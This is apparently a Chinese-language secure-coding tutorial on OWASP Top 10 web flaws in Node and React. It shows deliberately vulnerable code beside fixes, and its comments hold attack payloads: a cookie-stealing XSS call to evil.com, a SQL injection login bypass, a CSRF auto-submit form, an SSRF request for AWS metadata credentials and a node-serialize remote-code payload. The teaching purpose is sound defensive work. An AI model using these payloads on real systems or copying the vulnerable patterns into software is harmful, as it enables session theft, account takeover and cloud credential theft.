Web 安全:OWASP Top 10 实战防护

// ❌ 漏洞代码:经典反射型 XSS
app.get('/search', (req, res) => {
  const q = req.query.q;
  res.send(`<h1>搜索结果:${q}</h1>`); // q 直接拼进 HTML
});
// 攻击者构造: /search?q=<script>fetch('//evil.com?c='+document.cookie)</script>

// ✅ 修复 1:React 默认就转义了,别主动破坏它
function Comment({ text }) {
  return <p>{text}</p>; // 安全:React 自动转义 < > & " '
}

// ❌ 千万别这么写
function BadComment({ text }) {
  return <div dangerouslySetInnerHTML={{ __html: text }} />; // XSS 直通车
}

// ✅ 修复 2:真的要渲染富文本,用 DOMPurify 白名单清洗
import DOMPurify from 'dompurify';
function RichText({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />;
}

# ✅ 修复 3:部署 Content-Security-Policy,兜底防线
Content-Security-Policy: default-src 'self'; script-src 'self'
# 就算某处漏了转义,外部脚本也加载不进来

// ❌ 漏洞代码:教科书级 SQL 注入
app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
  const rows = await db.query(sql);
  // 攻击者输入 username: admin' --
  // 实际执行:SELECT * FROM users WHERE username='admin' --' AND password='...'
  // 密码校验直接被注释掉了
});

// ✅ 修复 1:参数化查询(占位符),数据库驱动会处理转义
const sql = `SELECT * FROM users WHERE username = ? AND password = ?`;
const rows = await db.query(sql, [username, password]);

// ✅ 修复 2:用 ORM(Prisma / TypeORM / Sequelize),默认就是参数化的
const user = await prisma.user.findFirst({
  where: { username, password },
});

// ⚠️ 注意:ORM 不是万能的,自己写原始 SQL 一样会中招
const bad = await prisma.$queryRaw`SELECT * FROM users WHERE name='${name}'`; // ❌ 注入
const good = await prisma.$queryRaw`SELECT * FROM users WHERE name=${name}`;  // ✅ Prisma 标签模板自动参数化

<!-- ❌ 攻击者在 evil.com 放的页面 -->
<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="attacker">
  <input name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>
<!-- 用户访问 evil.com,浏览器自动带上 bank.com 的 cookie,转账完成 -->

// ✅ 修复 1:Cookie 设置 SameSite 属性(现代浏览器默认就是 Lax)
res.cookie('session', token, {
  httpOnly: true,      // JS 读不到,防 XSS 偷 cookie
  secure: true,        // 只走 HTTPS
  sameSite: 'Lax',     // 跨站请求不带 cookie,CSRF 直接哑火
});

// ✅ 修复 2:CSRF Token,对状态变更接口强制校验
// 前端从 cookie 读 XSRF-TOKEN,放到请求头 X-XSRF-TOKEN
// 服务端比对 cookie 和 header 是否一致(攻击者读不到同源 cookie)
app.post('/transfer', csrfProtection, handler);

// ❌ 漏洞代码:URL 预览功能
app.get('/preview', async (req, res) => {
  const url = req.query.url;
  const resp = await fetch(url); // 用户传啥就请求啥
  const html = await resp.text();
  res.send(html);
});
// 攻击者构造: /preview?url=http://169.254.169.254/latest/meta-data/
// 在 AWS 上直接拿到实例的 IAM 凭证,然后横向移动到整个云账号

// ✅ 修复:出站白名单 + 禁止解析到内网
import { lookup } from 'node:dns/promises';

async function safeFetch(urlStr) {
  const u = new URL(urlStr);
  // 1. 协议白名单:只允许 http/https
  if (!['http:', 'https:'].includes(u.protocol)) throw new Error('bad scheme');
  // 2. 域名白名单(业务相关):只允许你信任的几个外部域名
  if (!ALLOWED_HOSTS.includes(u.hostname)) throw new Error('host not allowed');
  // 3. 解析 DNS 后检查 IP,拒绝内网/回环/元数据地址
  const { address } = await lookup(u.hostname);
  if (isPrivateIP(address)) throw new Error('internal IP blocked');
  return fetch(u);
}

function isPrivateIP(ip) {
  return ip.startsWith('10.') || ip.startsWith('192.168.') ||
         ip.startsWith('169.254.') || ip.startsWith('127.') ||
         /^172\.(1[6-9]|2\d|3[01])\./.test(ip) || ip === '100.100.100.200';
}

// ❌ 漏洞代码:Node 的 node-serialize 库
const serialize = require('node-serialize');
const obj = serialize.unserialize(req.cookies.session);
// 攻击者 cookie 里塞:{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('...')}()"}
// 反序列化时函数被立即调用,RCE 达成

// ✅ 修复:不要反序列化不可信数据
// - 用 JSON.parse / JSON.stringify,JSON 不支持函数,天然安全
const session = JSON.parse(req.cookies.session);

// - Java 用 Jackson / Gson 这种只反序列化数据的库,别用原生 ObjectInputStream
// - Python 别用 pickle 处理用户输入,改用 json
// - 真要传结构化数据,签名 + JSON

// ❌ 漏洞代码:经典水平越权
app.get('/api/orders/:id', authMiddleware, async (req, res) => {
  const order = await prisma.order.findUnique({ where: { id: req.params.id } });
  res.json(order); // 没校验这个订单属不属于当前用户!
});
// 用户 A 登录后,/api/orders/<B的订单ID> 直接拿到 B 的订单

// ✅ 修复 1:查询时直接带上 userId 条件
app.get('/api/orders/:id', authMiddleware, async (req, res) => {
  const order = await prisma.order.findFirst({
    where: { id: req.params.id, userId: req.user.id }, // 关键:AND userId
  });
  if (!order) return res.status(404).end();
  res.json(order);
});

// ✅ 修复 2:角色/权限用统一中间件校验(垂直越权)
app.delete('/api/users/:id', requireRole('admin'), handler);